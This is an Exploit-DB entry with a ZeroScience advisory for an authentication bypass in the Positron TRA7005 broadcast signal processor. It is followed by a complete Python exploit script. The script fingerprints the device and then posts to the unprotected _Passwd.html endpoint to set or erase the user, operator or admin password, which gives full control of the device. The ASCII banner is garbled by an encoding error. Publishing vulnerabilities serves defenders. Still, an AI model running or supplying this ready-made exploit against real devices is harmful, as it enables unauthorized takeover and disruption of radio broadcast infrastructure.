Exploit-DB #51970
Description: Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass
Type: remote
Platform: hardware
Date: 2024-04-08
Author: LiquidWorm

Exploit:
# Exploit Title: Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass
# Author: LiquidWorm
# Vendor: Positron srl
# Product web page: https://www.positron.it
#                   https://www.positron.it/prodotti/apparati-broadcast/stereo-multicoder/tra-7005/
# Affected version: 1.20
#                   TRA7K5_REV107
#                   TRA7K5_REV106
#                   TRA7K5_REV104
#                   TRA7K5_REV102
#
# Summary: The TRA7000 series is a set of products dedicated to broadcast, designed to
# guarantee an excellent quality-price ratio in compliance with current regulations and
# intended for individual broadcasters or radio networks. All models in the TRA7000 series
# are fully digital, using only high-quality components such as 24-bit A/D and D/A converters
# and 32-bit DSP. The TRA7005 performs the functions of Stereo Coder, RDS Coder, 5-output
# MPX Distributor, AGC (adjustable) for both analogue and digital audio inputs, Clipper
# for both analogue and digital audio inputs, change-over emergency switching between any
# input with adjustable thresholds and intervention times, both in the switching phase on
# the secondary source and in the return phase to the primary source. Ethernet connection
# with Web-Server (optional) for total control and management of the device. Advanced BYPASS
# system between MPX input and outputs, active on operating and power supply anomalies and
# can also be activated remotely.
#
# Desc: The Positron Broadcast Digital Signal Processor TRA7005 suffers from an authentication
# bypass through a direct and unauthorized access to the password management functionality.
# The vulnerability allows attackers to bypass Digest authentication by manipulating the
# password endpoint _Passwd.html and its payload data to set a user's password to arbitrary
# value or remove it entirely. This grants unauthorized access to protected areas (/user,
# /operator, /admin) of the application without requiring valid credentials, compromising
# the device's system security.
#
# Tested on: Positron Web Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2024-5813
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5813.php
#
#
# 22.03.2024
#
#


import requests,sys

print("""
______________________________________
РћЈРћ│РћЊРђб      РћЈРћЊ            РћЊ  РћЈРћЊ    РћЊ  Рђб 
 РћЃ РћЊРћЈРћЊРћЊРћЈ  РћЃРћЃРћЈРћЊРћЈРћЈРћЊРћЈРћЈРћЈРћЊРћЈРћЊРћЈРћФ  РћБ РћЊРћЈРћЈРћЊРћЃРћЈРћЊРћЊРЋІ
 Рћ╗ РћЌРћЏРћЌРћЌРћФ  РћБРћЏРћЌРћ╗РћЏРћЏРћЌРћ╗РћЏРћЌРћЏРћЏ РћЌРћ╗  РћЌРћЏРћЏРћЌРћБРћЏРћЌРћЌРћЏРћЌРћЌ
       РћЏ                       РћЏ
                 for
   Positron Digital Signal Processor
             ZSL-2024-5813
______________________________________
""")

if len(sys.argv) != 4:
    print("Usage: python positron.py <ip:port> <user/oper/admin> <erase/new_pwd>")
    sys.exit(1)

ip = sys.argv[1]
ut = sys.argv[2]
wa = sys.argv[3]

valid_ut = ['user', 'oper', 'admin']
if ut.lower() not in valid_ut:
    print("Invalid user type! Use 'user', 'oper', or 'admin'.")
    sys.exit(1)

url = f'http://{ip}/_Passwd.html'
did = f'http://{ip}/_Device.html'

try:
    r = requests.get(did)
    if r.status_code == 200 and 'TRA7K5' in r.text:
        print("Vulnerable processor found!")
    else:
        print("Not Vulnerable or not applicable. Exploit exiting.")
        sys.exit(1)
except requests.exceptions.RequestException as e:
    print(f"Error checking device: {e}")
    sys.exit(1)

headers = {
    'Content-Type'   : 'application/x-www-form-urlencoded',
    'Accept-Language': 'mk-MK,en;q=0.6',
    'Accept-Encoding': 'gzip, deflate',
    'User-Agent'     : 'R-Marina/11.9',
    'Accept'         : '*/*'
}

payload = {}
if wa.lower() == 'erase':
    payload[f'PSW_{ut.capitalize()}'] = 'NONE'
else:
    payload_key = f'PSW_{ut.capitalize()}'
    payload[payload_key] = wa
    #print(payload)

r = requests.post(url, headers=headers, data=payload)
print(r.status_code)
print(r.text)